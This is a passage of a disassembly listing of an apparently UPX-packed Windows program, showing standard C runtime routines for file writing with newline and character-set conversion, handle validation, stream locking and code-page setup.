		cmp	dword ptr [eax+38h], 0
		jz	short loc_41120D
		mov	dl, [eax+34h]
		mov	[ebp+var_C], dl
		mov	[ebp+var_B], cl
		and	dword ptr [eax+38h], 0
		push	2
		lea	eax, [ebp+var_C]
		push	eax
		jmp	short loc_411258
; ---------------------------------------------------------------------------


loc_41120D:				; CODE XREF: sub_41105A+19Cj
		movsx	eax, cl
		push	eax
		call	sub_41282C
		pop	ecx
		test	eax, eax
		jz	short loc_411255
		mov	ecx, [ebp+var_1ACC]
		sub	ecx, ebx
		add	ecx, [ebp+arg_8]
		xor	eax, eax
		inc	eax
		cmp	ecx, eax
		jbe	loc_4113D6
		push	2
		lea	eax, [ebp+var_1AC0]
		push	ebx
		push	eax
		call	sub_4127DA
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_4116FD
		inc	ebx
		inc	[ebp+var_1ABC]
		jmp	short loc_411270
; ---------------------------------------------------------------------------


loc_411255:				; CODE XREF: sub_41105A+1BFj
		push	1
		push	ebx


loc_411258:				; CODE XREF: sub_41105A+1B1j
		lea	eax, [ebp+var_1AC0]
		push	eax
		call	sub_4127DA
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_4116FD


loc_411270:				; CODE XREF: sub_41105A+1F9j
		xor	eax, eax
		push	eax
		push	eax
		push	5
		lea	ecx, [ebp+var_C]
		push	ecx
		push	1
		lea	ecx, [ebp+var_1AC0]
		push	ecx
		push	eax
		push	[ebp+var_1AE4]
		inc	ebx
		inc	[ebp+var_1ABC]
		call	dword_41D07C	; WideCharToMultiByte
		mov	esi, eax
		test	esi, esi
		jz	loc_4116FD
		push	0
		lea	eax, [ebp+var_1AC4]
		push	eax
		push	esi
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebp+var_1AD8]
		mov	eax, [eax]
		push	dword ptr [edi+eax]
		call	dword_41D188	; WriteFile
		test	eax, eax
		jz	loc_4116F1
		mov	eax, [ebp+var_1ABC]
		mov	ecx, [ebp+var_1AD0]
		add	eax, ecx
		cmp	[ebp+var_1AC4],	esi
		mov	[ebp+var_1AC8],	eax
		jl	loc_4116FD
		cmp	[ebp+var_1AE0],	0
		jz	loc_4113C2
		push	0
		lea	eax, [ebp+var_1AC4]
		push	eax
		push	1
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebp+var_1AD8]
		mov	eax, [eax]
		mov	[ebp+var_C], 0Dh
		push	dword ptr [edi+eax]
		call	dword_41D188	; WriteFile
		test	eax, eax
		jz	loc_4116F1
		cmp	[ebp+var_1AC4],	1
		jl	loc_4116FD
		inc	[ebp+var_1AD0]
		inc	[ebp+var_1AC8]
		jmp	loc_4113C2
; ---------------------------------------------------------------------------


loc_41133F:				; CODE XREF: sub_41105A+178j
		cmp	al, 1
		jz	short loc_411347
		cmp	al, 2
		jnz	short loc_411368


loc_411347:				; CODE XREF: sub_41105A+2E7j
		movzx	esi, word ptr [ebx]
		xor	ecx, ecx
		cmp	si, 0Ah
		setz	cl
		inc	ebx
		inc	ebx
		add	[ebp+var_1ABC],	2
		mov	[ebp+var_1AC0],	esi
		mov	[ebp+var_1AE0],	ecx


loc_411368:				; CODE XREF: sub_41105A+2EBj
		cmp	al, 1
		jz	short loc_411370
		cmp	al, 2
		jnz	short loc_4113C2


loc_411370:				; CODE XREF: sub_41105A+310j
		push	[ebp+var_1AC0]
		call	sub_41490D
		pop	ecx
		cmp	ax, word ptr [ebp+var_1AC0]
		jnz	loc_4116F1
		add	[ebp+var_1AC8],	2
		cmp	[ebp+var_1AE0],	0
		jz	short loc_4113C2
		push	0Dh
		pop	eax
		push	eax
		mov	[ebp+var_1AC0],	eax
		call	sub_41490D
		pop	ecx
		cmp	ax, word ptr [ebp+var_1AC0]
		jnz	loc_4116F1
		inc	[ebp+var_1AC8]
		inc	[ebp+var_1AD0]


loc_4113C2:				; CODE XREF: sub_41105A+295j
					; sub_41105A+2E0j ...
		mov	eax, [ebp+arg_8]
		cmp	[ebp+var_1ABC],	eax
		jb	loc_4111CA
		jmp	loc_4116FD
; ---------------------------------------------------------------------------


loc_4113D6:				; CODE XREF: sub_41105A+1D1j
		mov	ecx, [esi]
		mov	dl, [ebx]
		inc	[ebp+var_1AC8]
		mov	[edi+ecx+34h], dl
		mov	ecx, [esi]
		mov	[edi+ecx+38h], eax
		jmp	loc_4116FD
; ---------------------------------------------------------------------------


loc_4113EF:				; CODE XREF: sub_41105A+F2j
					; sub_41105A+FFj ...
		xor	ecx, ecx


loc_4113F1:				; CODE XREF: sub_41105A+141j
		mov	eax, [esi]
		add	eax, edi
		test	byte ptr [eax+4], 80h
		jz	loc_4116BE
		mov	eax, [ebp+var_1ACC]
		mov	[ebp+var_1AC0],	ecx
		test	bl, bl
		jnz	loc_4114DD
		mov	[ebp+var_1AC4],	eax
		cmp	[ebp+arg_8], ecx
		jbe	loc_411742
		jmp	short loc_41142A
; ---------------------------------------------------------------------------


loc_411424:				; CODE XREF: sub_41105A+478j
		mov	esi, [ebp+var_1AD8]


loc_41142A:				; CODE XREF: sub_41105A+3C8j
		mov	ecx, [ebp+var_1AC4]
		and	[ebp+var_1ABC],	0
		sub	ecx, [ebp+var_1ACC]
		lea	eax, [ebp+var_1AB8]


loc_411443:				; CODE XREF: sub_41105A+425j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_411481
		mov	edx, [ebp+var_1AC4]
		inc	[ebp+var_1AC4]
		mov	dl, [edx]
		inc	ecx
		cmp	dl, 0Ah
		jnz	short loc_41146C
		inc	[ebp+var_1AD0]
		mov	byte ptr [eax],	0Dh
		inc	eax
		inc	[ebp+var_1ABC]


loc_41146C:				; CODE XREF: sub_41105A+400j
		mov	[eax], dl
		inc	eax
		inc	[ebp+var_1ABC]
		cmp	[ebp+var_1ABC],	13FFh
		jb	short loc_411443


loc_411481:				; CODE XREF: sub_41105A+3ECj
		mov	ebx, eax
		lea	eax, [ebp+var_1AB8]
		sub	ebx, eax
		push	0
		lea	eax, [ebp+var_1AD4]
		push	eax
		push	ebx
		lea	eax, [ebp+var_1AB8]
		push	eax
		mov	eax, [esi]
		push	dword ptr [edi+eax]
		call	dword_41D188	; WriteFile
		test	eax, eax
		jz	loc_4116F1
		mov	eax, [ebp+var_1AD4]
		add	[ebp+var_1AC8],	eax
		cmp	eax, ebx
		jl	loc_4116FD
		mov	eax, [ebp+var_1AC4]
		sub	eax, [ebp+var_1ACC]
		cmp	eax, [ebp+arg_8]
		jb	loc_411424
		jmp	loc_4116FD
; ---------------------------------------------------------------------------


loc_4114DD:				; CODE XREF: sub_41105A+3B3j
		mov	[ebp+var_1ABC],	eax
		cmp	bl, 2
		jnz	loc_4115BD
		cmp	[ebp+arg_8], ecx
		jbe	loc_411742
		jmp	short loc_4114FD
; ---------------------------------------------------------------------------


loc_4114F7:				; CODE XREF: sub_41105A+558j
		mov	esi, [ebp+var_1AD8]


loc_4114FD:				; CODE XREF: sub_41105A+49Bj
		mov	ecx, [ebp+var_1ABC]
		and	[ebp+var_1AC4],	0
		sub	ecx, [ebp+var_1ACC]
		lea	eax, [ebp+var_1AB8]


loc_411516:				; CODE XREF: sub_41105A+505j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_411561
		mov	edx, [ebp+var_1ABC]
		add	[ebp+var_1ABC],	2
		movzx	edx, word ptr [edx]
		inc	ecx
		inc	ecx
		cmp	dx, 0Ah
		jnz	short loc_411549
		add	[ebp+var_1AD0],	2
		push	0Dh
		pop	ebx
		mov	[eax], bx
		inc	eax
		inc	eax
		add	[ebp+var_1AC4],	2


loc_411549:				; CODE XREF: sub_41105A+4D7j
		add	[ebp+var_1AC4],	2
		mov	[eax], dx
		inc	eax
		inc	eax
		cmp	[ebp+var_1AC4],	13FEh
		jb	short loc_411516


loc_411561:				; CODE XREF: sub_41105A+4BFj
		mov	ebx, eax
		lea	eax, [ebp+var_1AB8]
		sub	ebx, eax
		push	0
		lea	eax, [ebp+var_1AD4]
		push	eax
		push	ebx
		lea	eax, [ebp+var_1AB8]
		push	eax
		mov	eax, [esi]
		push	dword ptr [edi+eax]
		call	dword_41D188	; WriteFile
		test	eax, eax
		jz	loc_4116F1
		mov	eax, [ebp+var_1AD4]
		add	[ebp+var_1AC8],	eax
		cmp	eax, ebx
		jl	loc_4116FD
		mov	eax, [ebp+var_1ABC]
		sub	eax, [ebp+var_1ACC]
		cmp	eax, [ebp+arg_8]
		jb	loc_4114F7
		jmp	loc_4116FD
; ---------------------------------------------------------------------------


loc_4115BD:				; CODE XREF: sub_41105A+48Cj
		cmp	[ebp+arg_8], ecx
		jbe	loc_411742


loc_4115C6:				; CODE XREF: sub_41105A+65Cj
		mov	ecx, [ebp+var_1ABC]
		and	[ebp+var_1AC4],	0
		sub	ecx, [ebp+var_1ACC]
		push	2
		lea	eax, [ebp+var_6B8]
		pop	esi


loc_4115E2:				; CODE XREF: sub_41105A+5C7j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_411623
		mov	edx, [ebp+var_1ABC]
		movzx	edx, word ptr [edx]
		add	[ebp+var_1ABC],	esi
		add	ecx, esi
		cmp	dx, 0Ah
		jnz	short loc_41160C
		push	0Dh
		pop	ebx
		mov	[eax], bx
		add	eax, esi
		add	[ebp+var_1AC4],	esi


loc_41160C:				; CODE XREF: sub_41105A+5A2j
		add	[ebp+var_1AC4],	esi
		mov	[eax], dx
		add	eax, esi
		cmp	[ebp+var_1AC4],	6A8h
		jb	short loc_4115E2


loc_411623:				; CODE XREF: sub_41105A+58Bj
		xor	esi, esi
		push	esi
		push	esi
		push	0D55h
		lea	ecx, [ebp+var_1410]
		push	ecx
		lea	ecx, [ebp+var_6B8]
		sub	eax, ecx
		cdq
		sub	eax, edx
		sar	eax, 1
		push	eax
		mov	eax, ecx
		push	eax
		push	esi
		push	0FDE9h
		call	dword_41D07C	; WideCharToMultiByte
		mov	ebx, eax
		cmp	ebx, esi
		jz	loc_4116F1


loc_41165A:				; CODE XREF: sub_41105A+633j
		push	0
		lea	eax, [ebp+var_1AD4]
		push	eax
		mov	eax, ebx
		sub	eax, esi
		push	eax
		lea	eax, [ebp+esi+var_1410]
		push	eax
		mov	eax, [ebp+var_1AD8]
		mov	eax, [eax]
		push	dword ptr [edi+eax]
		call	dword_41D188	; WriteFile
		test	eax, eax
		jz	short loc_411691
		add	esi, [ebp+var_1AD4]
		cmp	ebx, esi
		jg	short loc_41165A
		jmp	short loc_41169D
; ---------------------------------------------------------------------------


loc_411691:				; CODE XREF: sub_41105A+629j
		call	dword_41D1D8	; RtlGetLastWin32Error
		mov	[ebp+var_1AC0],	eax


loc_41169D:				; CODE XREF: sub_41105A+635j
		cmp	ebx, esi
		jg	short loc_4116FD
		mov	eax, [ebp+var_1ABC]
		sub	eax, [ebp+var_1ACC]
		mov	[ebp+var_1AC8],	eax
		cmp	eax, [ebp+arg_8]
		jb	loc_4115C6
		jmp	short loc_4116FD
; ---------------------------------------------------------------------------


loc_4116BE:				; CODE XREF: sub_41105A+39Fj
		push	0
		lea	ecx, [ebp+var_1AD4]
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+var_1ACC]
		push	dword ptr [eax]
		call	dword_41D188	; WriteFile
		test	eax, eax
		jz	short loc_4116F1
		mov	eax, [ebp+var_1AD4]
		and	[ebp+var_1AC0],	0
		mov	[ebp+var_1AC8],	eax
		jmp	short loc_4116FD
; ---------------------------------------------------------------------------


loc_4116F1:				; CODE XREF: sub_41105A+268j
					; sub_41105A+2C1j ...
		call	dword_41D1D8	; RtlGetLastWin32Error
		mov	[ebp+var_1AC0],	eax


loc_4116FD:				; CODE XREF: sub_41105A+1ECj
					; sub_41105A+210j ...
		cmp	[ebp+var_1AC8],	0
		jnz	short loc_411772


loc_411706:				; CODE XREF: sub_41105A+164j
		cmp	[ebp+var_1AC0],	0
		jz	short loc_41173C
		push	5
		pop	esi
		cmp	[ebp+var_1AC0],	esi
		jnz	short loc_41172E
		call	sub_40C862
		mov	dword ptr [eax], 9
		call	sub_40C875
		mov	[eax], esi
		jmp	short loc_41176D
; ---------------------------------------------------------------------------


loc_41172E:				; CODE XREF: sub_41105A+6BEj
		push	[ebp+var_1AC0]
		call	sub_40C888
		pop	ecx
		jmp	short loc_41176D
; ---------------------------------------------------------------------------


loc_41173C:				; CODE XREF: sub_41105A+6B3j
		mov	esi, [ebp+var_1AD8]


loc_411742:				; CODE XREF: sub_41105A+3C2j
					; sub_41105A+495j ...
		mov	eax, [esi]
		test	byte ptr [edi+eax+4], 40h
		jz	short loc_41175A
		mov	eax, [ebp+var_1ACC]
		cmp	byte ptr [eax],	1Ah
		jnz	short loc_41175A
		xor	eax, eax
		jmp	short loc_41177E
; ---------------------------------------------------------------------------


loc_41175A:				; CODE XREF: sub_41105A+6EFj
					; sub_41105A+6FAj
		call	sub_40C862
		mov	dword ptr [eax], 1Ch
		call	sub_40C875
		and	dword ptr [eax], 0


loc_41176D:				; CODE XREF: sub_41105A+CBj
					; sub_41105A+6D2j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_41177E
; ---------------------------------------------------------------------------


loc_411772:				; CODE XREF: sub_41105A+6AAj
		mov	eax, [ebp+var_1AC8]
		sub	eax, [ebp+var_1AD0]


loc_41177E:				; CODE XREF: sub_41105A+6FEj
					; sub_41105A+716j
		pop	edi
		pop	ebx


loc_411780:				; CODE XREF: sub_41105A+38j
					; sub_41105A+63j
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		pop	esi
		call	sub_40AC1C
		leave
		retn
sub_41105A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41178D	proc near		; CODE XREF: sub_40C635+CFp
					; sub_40C635+13Ep ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	10h
		push	offset dword_426BD0
		call	__SEH_prolog4
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_4117BC
		call	sub_40C875
		and	dword ptr [eax], 0
		call	sub_40C862
		mov	dword ptr [eax], 9


loc_4117B4:				; CODE XREF: sub_41178D+5Cj
		or	eax, 0FFFFFFFFh
		jmp	loc_411859
; ---------------------------------------------------------------------------


loc_4117BC:				; CODE XREF: sub_41178D+12j
		xor	edi, edi
		cmp	eax, edi
		jl	short loc_4117CA
		cmp	eax, dword_430148
		jb	short loc_4117EB


loc_4117CA:				; CODE XREF: sub_41178D+33j
					; sub_41178D+7Cj
		call	sub_40C875
		mov	[eax], edi
		call	sub_40C862
		mov	dword ptr [eax], 9
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40B255
		add	esp, 14h
		jmp	short loc_4117B4
; ---------------------------------------------------------------------------


loc_4117EB:				; CODE XREF: sub_41178D+3Bj
		mov	ecx, eax
		sar	ecx, 5
		lea	ebx, ds:430160h[ecx*4]
		mov	esi, eax
		and	esi, 1Fh
		shl	esi, 6
		mov	ecx, [ebx]
		movsx	ecx, byte ptr [ecx+esi+4]
		and	ecx, 1
		jz	short loc_4117CA
		push	eax
		call	sub_414846
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_411834
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41105A
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		jmp	short loc_41184A
; ---------------------------------------------------------------------------


loc_411834:				; CODE XREF: sub_41178D+8Fj
		call	sub_40C862
		mov	dword ptr [eax], 9
		call	sub_40C875
		mov	[eax], edi
		or	[ebp+var_1C], 0FFFFFFFFh


loc_41184A:				; CODE XREF: sub_41178D+A5j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_41185F
		mov	eax, [ebp+var_1C]


loc_411859:				; CODE XREF: sub_41178D+2Aj
		call	__SEH_epilog4
		retn
sub_41178D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41185F	proc near		; CODE XREF: sub_41178D+C4p
					; DATA XREF: UPX0:00426BE8o
		push	dword ptr [ebp+8]
		call	sub_4148E6
		pop	ecx
		retn
sub_41185F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411869	proc near		; CODE XREF: sub_40C635+9Fp
					; sub_4154F0+A4p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		inc	dword_42ECFC
		push	1000h
		call	sub_40EF2A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		test	eax, eax
		jz	short loc_411896
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_4118A7
; ---------------------------------------------------------------------------


loc_411896:				; CODE XREF: sub_411869+1Ej
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_4118A7:				; CODE XREF: sub_411869+2Bj
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		pop	ebp
		retn
sub_411869	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4118B2	proc near		; CODE XREF: sub_40C635+94p
					; sub_41105A+EAp ...

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_4118CE
		call	sub_40C862
		mov	dword ptr [eax], 9
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4118CE:				; CODE XREF: sub_4118B2+Bj
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jl	short loc_4118DD
		cmp	eax, dword_430148
		jb	short loc_4118F9


loc_4118DD:				; CODE XREF: sub_4118B2+21j
		call	sub_40C862
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 9
		call	sub_40B255
		add	esp, 14h
		xor	eax, eax
		jmp	short loc_411913
; ---------------------------------------------------------------------------


loc_4118F9:				; CODE XREF: sub_4118B2+29j
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_430160[ecx*4]
		shl	eax, 6
		movsx	eax, byte ptr [ecx+eax+4]
		and	eax, 40h


loc_411913:				; CODE XREF: sub_4118B2+45j
		pop	esi
		pop	ebp
		retn
sub_4118B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_411916	proc near		; CODE XREF: sub_40C635+79p
					; sub_40C635+85p ...
		mov	eax, offset off_42A450
		retn
sub_411916	endp


; =============== S U B	R O U T	I N E =======================================



sub_41191C	proc near		; DATA XREF: UPX0:0041D404o
		mov	eax, dword_430140
		push	esi
		push	14h
		pop	esi
		test	eax, eax
		jnz	short loc_411930
		mov	eax, 200h
		jmp	short loc_411936
; ---------------------------------------------------------------------------


loc_411930:				; CODE XREF: sub_41191C+Bj
		cmp	eax, esi
		jge	short loc_41193B
		mov	eax, esi


loc_411936:				; CODE XREF: sub_41191C+12j
		mov	dword_430140, eax


loc_41193B:				; CODE XREF: sub_41191C+16j
		push	4
		push	eax
		call	sub_40EF6F
		pop	ecx
		pop	ecx
		mov	dword_42F138, eax
		test	eax, eax
		jnz	short loc_41196C
		push	4
		push	esi
		mov	dword_430140, esi
		call	sub_40EF6F
		pop	ecx
		pop	ecx
		mov	dword_42F138, eax
		test	eax, eax
		jnz	short loc_41196C
		push	1Ah
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41196C:				; CODE XREF: sub_41191C+30j
					; sub_41191C+49j
		xor	edx, edx
		mov	ecx, offset off_42A450
		jmp	short loc_41197A
; ---------------------------------------------------------------------------


loc_411975:				; CODE XREF: sub_41191C+6Dj
		mov	eax, dword_42F138


loc_41197A:				; CODE XREF: sub_41191C+57j
		mov	[edx+eax], ecx
		add	ecx, 20h
		add	edx, 4
		cmp	ecx, offset dword_42A6D0
		jl	short loc_411975
		push	0FFFFFFFEh
		pop	esi
		xor	edx, edx
		mov	ecx, offset dword_42A460
		push	edi


loc_411996:				; CODE XREF: sub_41191C+AAj
		mov	eax, edx
		sar	eax, 5
		mov	eax, dword_430160[eax*4]
		mov	edi, edx
		and	edi, 1Fh
		shl	edi, 6
		mov	eax, [edi+eax]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4119BA
		cmp	eax, esi
		jz	short loc_4119BA
		test	eax, eax
		jnz	short loc_4119BC


loc_4119BA:				; CODE XREF: sub_41191C+94j
					; sub_41191C+98j
		mov	[ecx], esi


loc_4119BC:				; CODE XREF: sub_41191C+9Cj
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_42A4C0
		jl	short loc_411996
		pop	edi
		xor	eax, eax
		pop	esi
		retn
sub_41191C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4119CD	proc near		; DATA XREF: UPX0:0041D41Co
		call	sub_414BFB
		cmp	byte_42E8A4, 0
		jz	short loc_4119E0
		call	sub_4149D2


loc_4119E0:				; CODE XREF: sub_4119CD+Cj
		push	dword_42F138
		call	sub_40ADC8
		pop	ecx
		retn
sub_4119CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4119ED	proc near		; CODE XREF: sub_415D90+50p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, offset off_42A450
		cmp	esi, eax
		jb	short loc_411A21
		cmp	esi, offset dword_42A6B0
		ja	short loc_411A21
		mov	ecx, esi
		sub	ecx, eax
		sar	ecx, 5
		add	ecx, 10h
		push	ecx
		call	sub_40CFA9
		or	dword ptr [esi+0Ch], 8000h
		pop	ecx
		jmp	short loc_411A2B
; ---------------------------------------------------------------------------


loc_411A21:				; CODE XREF: sub_4119ED+10j
					; sub_4119ED+18j
		add	esi, 20h
		push	esi
		call	dword_41D1CC	; RtlEnterCriticalSection


loc_411A2B:				; CODE XREF: sub_4119ED+32j
		pop	esi
		pop	ebp
		retn
sub_4119ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411A2E	proc near		; CODE XREF: sub_414B21+46p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	eax, 14h
		jge	short loc_411A51
		add	eax, 10h
		push	eax
		call	sub_40CFA9
		mov	eax, [ebp+arg_4]
		or	dword ptr [eax+0Ch], 8000h
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_411A51:				; CODE XREF: sub_411A2E+Bj
		mov	eax, [ebp+arg_4]
		add	eax, 20h
		push	eax
		call	dword_41D1CC	; RtlEnterCriticalSection
		pop	ebp
		retn
sub_411A2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411A60	proc near		; CODE XREF: sub_415E04+1p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, offset off_42A450
		cmp	eax, ecx
		jb	short loc_411A90
		cmp	eax, offset dword_42A6B0
		ja	short loc_411A90
		and	dword ptr [eax+0Ch], 0FFFF7FFFh
		sub	eax, ecx
		sar	eax, 5
		add	eax, 10h
		push	eax
		call	sub_40CECF
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_411A90:				; CODE XREF: sub_411A60+Fj
					; sub_411A60+16j
		add	eax, 20h
		push	eax
		call	dword_41D204	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_411A60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411A9C	proc near		; CODE XREF: sub_414BC3+9p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		cmp	ecx, 14h
		mov	eax, [ebp+arg_4]
		jge	short loc_411ABF
		and	dword ptr [eax+0Ch], 0FFFF7FFFh
		add	ecx, 10h
		push	ecx
		call	sub_40CECF
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_411ABF:				; CODE XREF: sub_411A9C+Ej
		add	eax, 20h
		push	eax
		call	dword_41D204	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_411A9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411ACB	proc near		; CODE XREF: sub_40C635+Bp
					; sub_412505+23p ...

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_411AF7
		call	sub_40C862
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40B255
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_411AFA
; ---------------------------------------------------------------------------


loc_411AF7:				; CODE XREF: sub_411ACB+Dj
		mov	eax, [eax+10h]


loc_411AFA:				; CODE XREF: sub_411ACB+2Aj
		pop	esi
		pop	ebp
		retn
sub_411ACB	endp


; =============== S U B	R O U T	I N E =======================================



sub_411AFD	proc near		; CODE XREF: sub_411E43+14Ep
					; sub_411E43+1A3p
		sub	eax, 3A4h
		jz	short loc_411B26
		sub	eax, 4
		jz	short loc_411B20
		sub	eax, 0Dh
		jz	short loc_411B1A
		dec	eax
		jz	short loc_411B14
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_411B14:				; CODE XREF: sub_411AFD+12j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_411B1A:				; CODE XREF: sub_411AFD+Fj
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_411B20:				; CODE XREF: sub_411AFD+Aj
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_411B26:				; CODE XREF: sub_411AFD+5j
		mov	eax, 411h
		retn
sub_411AFD	endp


; =============== S U B	R O U T	I N E =======================================



sub_411B2C	proc near		; CODE XREF: sub_411E43+2Dp
		mov	edi, edi
		push	esi
		push	edi
		mov	esi, eax
		push	101h
		xor	edi, edi
		lea	eax, [esi+1Ch]
		push	edi
		push	eax
		call	sub_40BD40
		xor	eax, eax
		movzx	ecx, ax
		mov	eax, ecx
		mov	[esi+4], edi
		mov	[esi+8], edi
		mov	[esi+0Ch], edi
		shl	ecx, 10h
		or	eax, ecx
		lea	edi, [esi+10h]
		stosd
		stosd
		stosd
		mov	ecx, offset dword_42A6D0
		add	esp, 0Ch
		lea	eax, [esi+1Ch]
		sub	ecx, esi
		mov	edi, 101h


loc_411B70:				; CODE XREF: sub_411B2C+4Bj
		mov	dl, [ecx+eax]
		mov	[eax], dl
		inc	eax
		dec	edi
		jnz	short loc_411B70
		lea	eax, [esi+11Dh]
		mov	esi, 100h


loc_411B84:				; CODE XREF: sub_411B2C+5Fj
		mov	dl, [eax+ecx]
		mov	[eax], dl
		inc	eax
		dec	esi
		jnz	short loc_411B84
		pop	edi
		pop	esi
		retn
sub_411B2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411B90	proc near		; CODE XREF: sub_411E43+171p

var_51C		= dword	ptr -51Ch
var_518		= byte ptr -518h
var_512		= byte ptr -512h
var_511		= byte ptr -511h
var_504		= word ptr -504h
var_304		= byte ptr -304h
var_204		= byte ptr -204h
var_104		= byte ptr -104h
var_4		= dword	ptr -4

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 51Ch
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	edi
		lea	eax, [ebp+var_518]
		push	eax
		push	dword ptr [esi+4]
		call	dword_41D138	; GetCPInfo
		mov	edi, 100h
		test	eax, eax
		jz	loc_411CBF
		xor	eax, eax


loc_411BC6:				; CODE XREF: sub_411B90+40j
		mov	[ebp+eax+var_104], al
		inc	eax
		cmp	eax, edi
		jb	short loc_411BC6
		mov	al, [ebp+var_512]
		mov	[ebp+var_104], 20h
		test	al, al
		jz	short loc_411C11
		lea	ebx, [ebp+var_511]


loc_411BE9:				; CODE XREF: sub_411B90+7Fj
		movzx	ecx, al
		movzx	eax, byte ptr [ebx]
		cmp	ecx, eax
		ja	short loc_411C09
		sub	eax, ecx
		inc	eax
		push	eax
		lea	edx, [ebp+ecx+var_104]
		push	20h
		push	edx
		call	sub_40BD40
		add	esp, 0Ch


loc_411C09:				; CODE XREF: sub_411B90+61j
		inc	ebx
		mov	al, [ebx]
		inc	ebx
		test	al, al
		jnz	short loc_411BE9


loc_411C11:				; CODE XREF: sub_411B90+51j
		push	0
		push	dword ptr [esi+0Ch]
		lea	eax, [ebp+var_504]
		push	dword ptr [esi+4]
		push	eax
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		push	1
		push	0
		call	sub_4151A8
		xor	ebx, ebx
		push	ebx
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_204]
		push	edi
		push	eax
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		push	edi
		push	dword ptr [esi+0Ch]
		push	ebx
		call	sub_414FA9
		add	esp, 44h
		push	ebx
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_304]
		push	edi
		push	eax
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		push	200h
		push	dword ptr [esi+0Ch]
		push	ebx
		call	sub_414FA9
		add	esp, 24h
		xor	eax, eax


loc_411C7B:				; CODE XREF: sub_411B90+12Bj
		movzx	ecx, [ebp+eax*2+var_504]
		test	cl, 1
		jz	short loc_411C96
